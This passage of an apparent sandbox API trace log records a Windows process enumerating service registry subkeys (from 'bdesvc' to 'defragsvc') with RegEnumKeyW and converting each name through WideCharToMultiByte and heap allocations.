0x21f2eb0 [0259.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0259.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.962] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0259.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0259.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.962] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0259.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0259.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.963] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0259.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0259.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.963] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0259.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0259.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.963] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0259.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0259.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.963] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0259.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0259.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.964] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0259.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0259.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.964] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0259.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0259.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.964] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0259.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0259.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.965] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0259.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0259.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.965] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0259.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0259.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.965] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0259.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0259.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.965] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0259.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0259.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.966] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0259.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0259.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.966] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0259.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0259.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.966] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0259.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0259.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.967] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0259.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0259.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.967] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0259.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f16e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0259.967] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0259.967] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0259.967] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0259.967] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0259.967] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0259.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0259.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0259.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0259.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0259.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0259.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0259.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0259.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0259.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0259.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0259.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0259.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0259.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0259.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0259.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0259.969] RegEnumKeyW 